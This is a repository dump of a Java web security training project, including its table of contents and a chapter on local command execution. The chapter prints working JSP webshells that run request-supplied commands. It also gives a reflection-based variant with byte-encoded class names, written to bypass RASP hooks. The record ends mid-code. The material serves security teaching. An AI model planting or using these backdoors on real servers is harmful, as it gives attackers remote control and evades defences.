├── .gitignore ├── README.md ├── gitbook ├── README.md ├── SUMMARY.md ├── book.json ├── images │ ├── 15461890198413.jpg │ ├── 15461904682947.jpg │ ├── 15461913651356.jpg │ ├── 15461915044088.jpg │ ├── file_read_passwd.jpg │ ├── follow_redirect.jpg │ ├── image-20191203163038813.png │ ├── image-20191203164105238.png │ ├── image-20191203164635637.png │ ├── image-20191203181206243.png │ ├── image-20191204181639812.png │ ├── image-20191204185103785.png │ ├── image-20191205150615973.png │ ├── image-20191205155420936.png │ ├── image-20191205180627895.png │ ├── image-20191205181818649.png │ ├── image-20191205182511119.png │ ├── image-20191206111423261.png │ ├── image-20191206111948376.png │ ├── image-20191206112722220.png │ ├── image-20191206135626282.png │ ├── image-20191206153815471.png │ ├── image-20191208130543317.png │ ├── image-20191208152439368.png │ ├── jni-type.png │ ├── protocol.jpg │ └── url_connection_get_web_port.jpg ├── java-code-review │ └── README.md ├── java-dynamic-feature │ └── README.md ├── java-rasp │ └── README.md ├── java-service │ └── README.md ├── java-web-container │ └── README.md ├── javase │ ├── ClassLoader │ │ └── README.md │ ├── CommandExecution │ │ └── README.md │ ├── FileSystem │ │ ├── FileSystem.md │ │ ├── JavaFileAccess.md │ │ ├── JavaNullByteFileName.md │ │ ├── JavaReadAndWriteFile.md │ │ └── README.md │ ├── JDBC │ │ └── README.md │ ├── JNI │ │ └── README.md │ ├── JavaAgent │ │ └── README.md │ ├── JavaByteCode │ │ └── README.md │ ├── JavaConcurrency │ │ └── README.md │ ├── JavaDeserialization │ │ └── README.md │ ├── JavaEncrypt │ │ └── README.md │ ├── README.md │ ├── URLConnection │ │ └── README.md │ └── XXE │ │ └── README.md ├── javaweb │ └── README.md └── startup.sh ├── javaweb-sec-source ├── javase │ ├── pom.xml │ └── src │ │ └── main │ │ ├── java │ │ └── com │ │ │ └── anbai │ │ │ └── sec │ │ │ ├── cmd │ │ │ ├── CommandExecution.java │ │ │ └── CommandExecutionTest.java │ │ │ └── filesystem │ │ │ ├── FileInputStreamDemo.java │ │ │ ├── FileNullBytes.java │ │ │ ├── FileOutputStreamDemo.java │ │ │ ├── FilesReadDemo.java │ │ │ ├── FilesWriteDemo.java │ │ │ ├── RandomAccessReadFileDemo.java │ │ │ ├── RandomAccessWriteFileDemo.java │ │ │ └── URLConnectionDemo.java │ │ └── webapp │ │ ├── WEB-INF │ │ └── web.xml │ │ ├── file-delete.jsp │ │ ├── file-list-with-check.jsp │ │ ├── file-list.jsp │ │ ├── file-read.jsp │ │ ├── fork_and_exec.jsp │ │ ├── index.jsp │ │ ├── linux-cmd.jsp │ │ ├── load_library.jsp │ │ ├── process_builder.jsp │ │ ├── runtime-exec.jsp │ │ └── runtime-exec2.jsp ├── javaweb-sec-utils │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ └── Bytes.java └── pom.xml ├── jni ├── com_anbai_sec_cmd_CommandExecution.cpp ├── com_anbai_sec_cmd_CommandExecution.h └── libcmd.jnilib └── pom.xml /.gitignore: -------------------------------------------------------------------------------- 1 | /**/target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | dependency-reduced-pom.xml 4 | /lingxe/**/*.jar 5 | *.class 6 | *.log 7 | access-log*.txt 8 | 9 | ### STS ### 10 | .apt_generated 11 | .classpath 12 | .factorypath 13 | .project 14 | .settings 15 | .springBeans 16 | .sts4-cache 17 | 18 | ### IntelliJ IDEA ### 19 | .idea 20 | *.iws 21 | *.iml 22 | *.ipr 23 | 24 | ### NetBeans ### 25 | /nbproject/private/ 26 | /build/ 27 | /nbbuild/ 28 | /dist/ 29 | /nbdist/ 30 | /.nb-gradle/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | 35 | ### Gitbook ### 36 | gitbook/_book 37 | gitbook/*.log 38 | gitbook/node_modules -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 攻击Java Web应用-[Java Web安全] 2 | 3 | 这是一个关于`Java Web安全`相关知识归纳总结、培训的项目。本项目属于免费开源项目,欢迎大家一起完善目录和章节! 4 | 5 | GitBook: [javasec.org](http://javasec.org/) -------------------------------------------------------------------------------- /gitbook/README.md: -------------------------------------------------------------------------------- 1 | # 攻击Java Web应用-[Java Web安全] 2 | 3 | 这是一个关于`Java Web安全`相关知识归纳总结、培训的项目。本项目属于免费开源项目,欢迎大家一起完善目录和章节! 4 | 5 | GitBook: [javasec.org](http://javasec.org/) -------------------------------------------------------------------------------- /gitbook/SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Summary 2 | 3 | * [前言](README.md) 4 | 5 | ----- 6 | * [Java 基础](javase/README.md) 7 | * [Java 文件系统安全](javase/FileSystem/README.md) 8 | * [Java IO/NIO.2文件系统](javase/FileSystem/FileSystem.md) 9 | * [Java IO/NIO多种读写文件方式](javase/FileSystem/JavaReadAndWriteFile.md) 10 | * [Java 文件或目录恶意访问漏洞](javase/FileSystem/JavaFileAccess.md) 11 | * [Java 文件名空字节截断漏洞](javase/FileSystem/JavaNullByteFileName.md) 12 | * [本地命令执行](javase/CommandExecution/README.md) 13 | * [JDBC](javase/JDBC/README.md) 14 | * [SQL注入](README.md) 15 | * [SQL注入-PrepareStatement](README.md) 16 | * [SQL防注入方式](README.md) 17 | * [URLConnection](javase/URLConnection/README.md) 18 | * [Java XXE漏洞](javase/XXE/README.md) 19 | * [JNI安全基础](javase/JNI/README.md) 20 | * [Java 类反序列化](javase/JavaDeserialization/README.md) 21 | * [Java 并发安全问题](javase/JavaConcurrency/README.md) 22 | * [Java 类字节码](javase/JavaByteCode/README.md) 23 | * [1.10 ClassLoader](javase/ClassLoader/README.md) 24 | * [1.10类加载和类定义](README.md) 25 | * [1.10Java类字节码加密实现](README.md) 26 | * [Java Agent基础](javase/JavaAgent/README.md) 27 | * [Java 编码/加密](javase/JavaEncrypt/README.md) 28 | 29 | ----- 30 | * [Java Web基础](javaweb/README.md) 31 | * [Java Web简介](README.md) 32 | * [Java模块化开发](README.md) 33 | * [JSP & WebShell](README.md) 34 | * [Request & Response(请求与响应)](README.md) 35 | * [Servlet](README.md) 36 | * [JSP、Servlet之间的关系](README.md) 37 | * [Filter](README.md) 38 | * [Filter和Servlet的总结](README.md) 39 | * [报错信息分析](README.md) 40 | * [XSS](README.md) 41 | * [2.10 任意文件上传](README.md) 42 | * [MVC安全](README.md) 43 | * [Struts2 OGNL表达式执行漏洞](README.md) 44 | * [SpringBoot SpEL表达式执行漏洞](README.md) 45 | * [Shiro](README.md) 46 | 47 | ----- 48 | * [Java语言的动态性](java-dynamic-feature/README.md) 49 | * [Java反射机制特性](README.md) 50 | * [JDK7+ MethodHandle](README.md) 51 | * [ClassLoader](README.md) 52 | * [URLClassLoader](README.md) 53 | * [sun.misc.Unsafe](README.md) 54 | * [Groovy](README.md) 55 | * [Java表达式安全](README.md) 56 | * [OGNL表达式](README.md) 57 | * [MVEL2表达式](README.md) 58 | * [SpEL表达式](README.md) 59 | * [EL表达式](README.md) 60 | * [Java Web容器默认支持的动态脚本](README.md) 61 | * [JSP脚本](README.md) 62 | * [JSPX脚本](README.md) 63 | * [JSPA、JSPF、PHP脚本](README.md) 64 | * [Java模版引擎安全](README.md) 65 | * [Freemarker模板](README.md) 66 | * [Velocity模板](README.md) 67 | * [Java序列化、反序列化安全](README.md) 68 | * [Java 对象序列化](README.md) 69 | * [XML 序列化](README.md) 70 | * [JSON 序列化](README.md) 71 | * [Java Native安全](README.md) 72 | * [JNI](README.md) 73 | * [JNA](README.md) 74 | * [Jshell](README.md) 75 | 76 | ----- 77 | * [Java容器安全](java-web-container/README.md) 78 | * [Java容器基础](README.md) 79 | * [常见的Server概述](README.md) 80 | * [构建WebShell war文件](README.md) 81 | * [容器常见安全问题](README.md) 82 | * [Tomcat](README.md) 83 | * [Tomcat默认配置](README.md) 84 | * [Tomcat口令爆破](README.md) 85 | * [Tomcat获取WebShell](README.md) 86 | * [Tomcat漏洞](README.md) 87 | * [Tomcat AJP协议](README.md) 88 | * [Resin](README.md) 89 | * [Resin默认配置](README.md) 90 | * [Resin默认安全策略](README.md) 91 | * [Resin获取WebShell](README.md) 92 | * [Resin漏洞](README.md) 93 | * [Resin Quercus(PHP支持)](README.md) 94 | * [Weblogic](README.md) 95 | * [Weblogic默认配置](README.md) 96 | * [Weblogic 默认安全策略](README.md) 97 | * [Weblogic获取Webshell](README.md) 98 | * [Weblogic XXE漏洞](README.md) 99 | * [Weblogic 反序列化漏洞](README.md) 100 | * [Websphere](README.md) 101 | * [Websphere默认配置](README.md) 102 | * [Websphere GetShell](README.md) 103 | * [Websphere 漏洞](README.md) 104 | * [GlassFish](README.md) 105 | * [GlassFish默认配置](README.md) 106 | * [GlassFish GetShell](README.md) 107 | * [TongWeb](README.md) 108 | * [TongWeb默认配置](README.md) 109 | * [TongWeb GetShell](README.md) 110 | 111 | ----- 112 | * [服务安全](java-service/README.md) 113 | * [RMI服务](README.md) 114 | * [Web Service](README.md) 115 | * [JDWP](README.md) 116 | * [JMX](README.md) 117 | * [JNDI](README.md) 118 | * [DWR](README.md) 119 | * [JTA(Java Transaction API)](README.md) 120 | * [Elasticsearch](README.md) 121 | * [Solr](README.md) 122 | * [5.10 Spring Cloud](README.md) 123 | * [Maven Nexues](README.md) 124 | * [Openfire](README.md) 125 | * [Swagger](README.md) 126 | * [Jenkins](README.md) 127 | 128 | ----- 129 | * [代码审计基础](java-code-review/README.md) 130 | * [代码审计前置知识](README.md) 131 | * [准备环境和辅助工具](README.md) 132 | * [Java类编译与反编译基础](README.md) 133 | * [反编译整个Jar技巧](README.md) 134 | * [IntelliJ IDEA技巧](README.md) 135 | * [IDEA自定义范围搜索](README.md) 136 | * [IDEA标记搜索](README.md) 137 | * [Java调用链搜索](README.md) 138 | * [Java调试技巧](README.md) 139 | * [找Spring MVC控制器技巧](README.md) 140 | * [找Struts2 Action技巧](README.md) 141 | * [业务层安全常见问题总结](README.md) 142 | * [代码实现常见问题](README.md) 143 | 144 | ----- 145 | * [RASP技术](java-rasp/README.md) 146 | * [什么是RASP技术?](README.md) 147 | * [RASP简介](README.md) 148 | * [灵蜥Agent与传统WAF的区别](README.md) 149 | * [灵蜥Agent独特防御功能](README.md) 150 | * [RASP 缺陷](README.md) 151 | * [Java Agent 机制探索](README.md) 152 | * [Java Agent运行机制](README.md) 153 | * [Java Agent Instrumentation](README.md) 154 | * [Java Agent Transformer](README.md) 155 | * [Java ASM](README.md) 156 | * [ASM ClassVisitor](README.md) 157 | * [ASM MethodVisitor](README.md) 158 | * [ASM AdviceAdapter](README.md) 159 | * [ASM动态修改类方法](README.md) 160 | * [利用Java Agent机制能做什么?](README.md) 161 | * [如何更好的实现方法Hook机制?](README.md) 162 | * [Hook机制进阶](README.md) 163 | * [Hook点通配符问题](README.md) 164 | * [Java注解Hook](README.md) 165 | * [RASP核心-子类方法Hook](README.md) 166 | * [RASP核心-Native方法Hook](README.md) 167 | * [JNI Hook](README.md) 168 | * [灵蜥Agent Hook示例](README.md) 169 | 170 | -------------------------------------------------------------------------------- /gitbook/book.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "攻击Java Web应用-[Java Web安全]", 3 | "author": "anbai-inc", 4 | "description": "JavaWeb Sec", 5 | "language": "zh-hans", 6 | "gitbook": "3.2.3", 7 | "styles": { 8 | "website": "./styles/website.css" 9 | }, 10 | "structure": { 11 | "readme": "README.md" 12 | }, 13 | "links": { 14 | 15 | }, 16 | "plugins": [ 17 | "-lunr", 18 | "-search", 19 | "search-pro", 20 | "-sharing", 21 | "splitter", 22 | "anchors", 23 | "expandable-chapters-small", 24 | "toggle-chapters", 25 | "chapter-fold", 26 | "github", 27 | "github-buttons", 28 | "donate", 29 | "sharing-plus", 30 | "anchor-navigation-ex", 31 | "favicon" 32 | ], 33 | "pluginsConfig": { 34 | "github": { 35 | "url": "https://github.com/anbai-inc/javaweb-sec" 36 | }, 37 | "github-buttons": { 38 | "buttons": [{ 39 | "user": "anbai-inc", 40 | "repo": "javaweb-sec", 41 | "type": "star", 42 | "size": "small", 43 | "count": true 44 | } 45 | ] 46 | }, 47 | "donate": { 48 | "alipay": "http://p2j.cn/images/wechat-pay-qrcode.jpg", 49 | "title": "", 50 | "button": "赞赏", 51 | "alipayText": " " 52 | }, 53 | "sharing": { 54 | "douban": false, 55 | "facebook": false, 56 | "google": false, 57 | "hatenaBookmark": false, 58 | "instapaper": false, 59 | "line": false, 60 | "linkedin": false, 61 | "messenger": false, 62 | "pocket": false, 63 | "qq": false, 64 | "qzone": false, 65 | "stumbleupon": false, 66 | "twitter": false, 67 | "viber": false, 68 | "vk": false, 69 | "weibo": false, 70 | "whatsapp": false, 71 | "all": [ 72 | "google", "facebook", "weibo", "twitter", 73 | "qq", "qzone", "linkedin", "pocket" 74 | ] 75 | }, 76 | "anchor-navigation-ex": { 77 | "showLevel": false 78 | }, 79 | "favicon":{ 80 | "shortcut": "./source/images/favicon.jpg", 81 | "bookmark": "./source/images/favicon.jpg", 82 | "appleTouch": "./source/images/apple-touch-icon.jpg", 83 | "appleTouchMore": { 84 | "120x120": "./source/images/apple-touch-icon.jpg", 85 | "180x180": "./source/images/apple-touch-icon.jpg" 86 | } 87 | }, 88 | "theme-default": { 89 | "showLevel": true 90 | } 91 | } 92 | } -------------------------------------------------------------------------------- /gitbook/images/15461890198413.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/15461890198413.jpg -------------------------------------------------------------------------------- /gitbook/images/15461904682947.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/15461904682947.jpg -------------------------------------------------------------------------------- /gitbook/images/15461913651356.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/15461913651356.jpg -------------------------------------------------------------------------------- /gitbook/images/15461915044088.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/15461915044088.jpg -------------------------------------------------------------------------------- /gitbook/images/file_read_passwd.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/file_read_passwd.jpg -------------------------------------------------------------------------------- /gitbook/images/follow_redirect.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/follow_redirect.jpg -------------------------------------------------------------------------------- /gitbook/images/image-20191203163038813.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191203163038813.png -------------------------------------------------------------------------------- /gitbook/images/image-20191203164105238.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191203164105238.png -------------------------------------------------------------------------------- /gitbook/images/image-20191203164635637.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191203164635637.png -------------------------------------------------------------------------------- /gitbook/images/image-20191203181206243.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191203181206243.png -------------------------------------------------------------------------------- /gitbook/images/image-20191204181639812.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191204181639812.png -------------------------------------------------------------------------------- /gitbook/images/image-20191204185103785.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191204185103785.png -------------------------------------------------------------------------------- /gitbook/images/image-20191205150615973.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191205150615973.png -------------------------------------------------------------------------------- /gitbook/images/image-20191205155420936.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191205155420936.png -------------------------------------------------------------------------------- /gitbook/images/image-20191205180627895.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191205180627895.png -------------------------------------------------------------------------------- /gitbook/images/image-20191205181818649.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191205181818649.png -------------------------------------------------------------------------------- /gitbook/images/image-20191205182511119.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191205182511119.png -------------------------------------------------------------------------------- /gitbook/images/image-20191206111423261.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191206111423261.png -------------------------------------------------------------------------------- /gitbook/images/image-20191206111948376.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191206111948376.png -------------------------------------------------------------------------------- /gitbook/images/image-20191206112722220.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191206112722220.png -------------------------------------------------------------------------------- /gitbook/images/image-20191206135626282.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191206135626282.png -------------------------------------------------------------------------------- /gitbook/images/image-20191206153815471.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191206153815471.png -------------------------------------------------------------------------------- /gitbook/images/image-20191208130543317.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191208130543317.png -------------------------------------------------------------------------------- /gitbook/images/image-20191208152439368.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/image-20191208152439368.png -------------------------------------------------------------------------------- /gitbook/images/jni-type.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/jni-type.png -------------------------------------------------------------------------------- /gitbook/images/protocol.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/protocol.jpg -------------------------------------------------------------------------------- /gitbook/images/url_connection_get_web_port.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/images/url_connection_get_web_port.jpg -------------------------------------------------------------------------------- /gitbook/java-code-review/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/java-code-review/README.md -------------------------------------------------------------------------------- /gitbook/java-dynamic-feature/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/java-dynamic-feature/README.md -------------------------------------------------------------------------------- /gitbook/java-rasp/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/java-rasp/README.md -------------------------------------------------------------------------------- /gitbook/java-service/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/java-service/README.md -------------------------------------------------------------------------------- /gitbook/java-web-container/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/java-web-container/README.md -------------------------------------------------------------------------------- /gitbook/javase/ClassLoader/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AMJIYU/javaweb-sec/68791efd17d0dafd33127da49dc0ed51857ede6b/gitbook/javase/ClassLoader/README.md -------------------------------------------------------------------------------- /gitbook/javase/CommandExecution/README.md: -------------------------------------------------------------------------------- 1 | # Java本地命令执行 2 | 3 | Java原生提供了对本地系统命令执行的支持,黑客通常会`RCE利用漏洞`或者`WebShell`来执行系统终端命令控制服务器的目的。 4 | 5 | 对于开发者来说执行本地命令来实现某些程序功能(如:ps 进程管理、top内存管理等)是一个正常的需求,而对于黑客来说`本地命令执行`是一种非常有利的入侵手段。 6 | 7 | ## Runtime命令执行 8 | 9 | 在Java中我们通常会使用`java.lang.Runtime`类的`exec`方法来执行本地系统命令。 10 | 11 |  12 | 13 | 14 | 15 | ### Runtime命令执行测试 16 | 17 | runtime-exec2.jsp执行cmd命令示例:** 18 | 19 | ```jsp 20 | <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%> 21 | ``` 22 | 23 | 1. 本地nc监听9000端口:`nc -vv -l 9000` 24 | 25 | 2. 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。 26 | 27 | 我们可以在nc中看到已经成功的接收到了java执行了`curl`命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。 28 | 29 |  30 | 31 | 上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。 32 | 33 | **runtime-exec.jsp执行cmd命令示例:** 34 | 35 | ```jsp 36 | <%=Runtime.getRuntime().exec(request.getParameter("cmd"))%> 37 | <%-- 38 | Created by IntelliJ IDEA. 39 | User: yz 40 | Date: 2019/12/5 41 | Time: 6:21 下午 42 | To change this template use File | Settings | File Templates. 43 | --%> 44 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 45 | <%@ page import="java.io.ByteArrayOutputStream" %> 46 | <%@ page import="java.io.InputStream" %> 47 | <% 48 | InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 49 | 50 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 51 | byte[] b = new byte[1024]; 52 | int a = -1; 53 | 54 | while ((a = in.read(b)) != -1) { 55 | baos.write(b, 0, a); 56 | } 57 | 58 | out.write("
" + new String(baos.toByteArray()) + ""); 59 | %> 60 | ``` 61 | 62 | 命令执行效果如下: 63 | 64 |  65 | 66 | ### Runtime命令执行调用链 67 | 68 | `Runtime.exec(xxx)`调用链如下: 69 | 70 | ```java 71 | java.lang.UNIXProcess.
" + new String(baos.toByteArray()) + ""); 118 | %> 119 | ``` 120 | 121 | 执行一个稍微复杂点的命令:`/bin/sh -c "cd /Users/;ls -la;"`,浏览器请求:[http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la](http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd /Users/;ls -la) 122 | 123 |  124 | 125 | 126 | 127 | ## UNIXProcess/ProcessImpl 128 | 129 | `UNIXProcess`和`ProcessImpl`可以理解本就是一个东西,因为在JDK9的时候把`UNIXProcess`合并到了`ProcessImpl`当中了,参考[changeset 11315:98eb910c9a97](https://hg.openjdk.java.net/jdk-updates/jdk9u/jdk/rev/98eb910c9a97)。 130 | 131 |  132 | 133 | `UNIXProcess`和`ProcessImpl`其实就是最终调用`native`执行系统命令的类,这个类提供了一个叫`forkAndExec`的native方法,如方法名所述主要是通过`fork&exec`来执行本地系统命令。 134 | 135 | `UNIXProcess`类的`forkAndExec`示例: 136 | 137 | ```java 138 | private native int forkAndExec(int mode, byte[] helperpath, 139 | byte[] prog, 140 | byte[] argBlock, int argc, 141 | byte[] envBlock, int envc, 142 | byte[] dir, 143 | int[] fds, 144 | boolean redirectErrorStream) 145 | throws IOException; 146 | ``` 147 | 148 | 最终执行的`Java_java_lang_ProcessImpl_forkAndExec`: 149 | 150 |  151 | 152 | `Java_java_lang_ProcessImpl_forkAndExec`完整代码:[ProcessImpl_md.c](https://github.com/unofficial-openjdk/openjdk/blob/e59bd5b27066bb2eb77828110ee585b1598ba636/src/java.base/unix/native/libjava/ProcessImpl_md.c) 153 | 154 | 很多人对Java本地命令执行的理解不够深入导致了他们无法定位到最终的命令执行点,去年给`OpenRASP`提过这个问题,他们只防御到了`ProcessBuilder.start()`方法,而我们只需要直接调用最终执行的`UNIXProcess/ProcessImpl`实现命令执行或者直接反射`UNIXProcess/ProcessImpl`的`forkAndExec`方法就可以绕过RASP实现命令执行了。 155 | 156 | ## 反射UNIXProcess/ProcessImpl执行本地命令 157 | 158 | **`linux-cmd.jsp`执行本地命令测试:** 159 | 160 | ```jsp 161 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 162 | <%@ page import="java.io.*" %> 163 | <%@ page import="java.lang.reflect.Constructor" %> 164 | <%@ page import="java.lang.reflect.Method" %> 165 | 166 | <%! 167 | byte[] toCString(String s) { 168 | if (s == null) { 169 | return null; 170 | } 171 | 172 | byte[] bytes = s.getBytes(); 173 | byte[] result = new byte[bytes.length + 1]; 174 | System.arraycopy(bytes, 0, result, 0, bytes.length); 175 | result[result.length - 1] = (byte) 0; 176 | return result; 177 | } 178 | 179 | InputStream start(String[] strs) throws Exception { 180 | // java.lang.UNIXProcess 181 | String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115}); 182 | 183 | // java.lang.ProcessImpl 184 | String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108}); 185 | 186 | Class clazz = null; 187 | 188 | // 反射创建UNIXProcess或者ProcessImpl 189 | try { 190 | clazz = Class.forName(unixClass); 191 | } catch (ClassNotFoundException e) { 192 | clazz = Class.forName(processClass); 193 | } 194 | 195 | // 获取UNIXProcess或者ProcessImpl的构造方法 196 | Constructor> constructor = clazz.getDeclaredConstructors()[0]; 197 | constructor.setAccessible(true); 198 | 199 | assert strs != null && strs.length > 0; 200 | 201 | // Convert arguments to a contiguous block; it's easier to do 202 | // memory management in Java than in C. 203 | byte[][] args = new byte[strs.length - 1][]; 204 | 205 | int size = args.length; // For added NUL bytes 206 | for (int i = 0; i < args.length; i++) { 207 | args[i] = strs[i + 1].getBytes(); 208 | size += args[i].length; 209 | } 210 | 211 | byte[] argBlock = new byte[size]; 212 | int i = 0; 213 | 214 | for (byte[] arg : args) { 215 | System.arraycopy(arg, 0, argBlock, i, arg.length); 216 | i += arg.length + 1; 217 | // No need to write NUL bytes explicitly 218 | } 219 | 220 | int[] envc = new int[1]; 221 | int[] std_fds = new int[]{-1, -1, -1}; 222 | 223 | FileInputStream f0 = null; 224 | FileOutputStream f1 = null; 225 | FileOutputStream f2 = null; 226 | 227 | // In theory, close() can throw IOException 228 | // (although it is rather unlikely to happen here) 229 | try { 230 | if (f0 != null) f0.close(); 231 | } finally { 232 | try { 233 | if (f1 != null) f1.close(); 234 | } finally { 235 | if (f2 != null) f2.close(); 236 | } 237 | } 238 | 239 | // 创建UNIXProcess或者ProcessImpl实例 240 | Object object = constructor.newInstance( 241 | toCString(strs[0]), argBlock, args.length, 242 | null, envc[0], null, std_fds, false 243 | ); 244 | 245 | // 获取命令执行的InputStream 246 | Method inMethod = object.getClass().getDeclaredMethod("getInputStream"); 247 | inMethod.setAccessible(true); 248 | 249 | return (InputStream) inMethod.invoke(object); 250 | } 251 | 252 | String inputStreamToString(InputStream in, String charset) throws IOException { 253 | try { 254 | if (charset == null) { 255 | charset = "UTF-8"; 256 | } 257 | 258 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 259 | int a = 0; 260 | byte[] b = new byte[1024]; 261 | 262 | while ((a = in.read(b)) != -1) { 263 | out.write(b, 0, a); 264 | } 265 | 266 | return new String(out.toByteArray()); 267 | } catch (IOException e) { 268 | throw e; 269 | } finally { 270 | if (in != null) 271 | in.close(); 272 | } 273 | } 274 | %> 275 | <% 276 | String[] str = request.getParameterValues("cmd"); 277 | 278 | if (str != null) { 279 | InputStream in = start(str); 280 | String result = inputStreamToString(in, "UTF-8"); 281 | out.println("
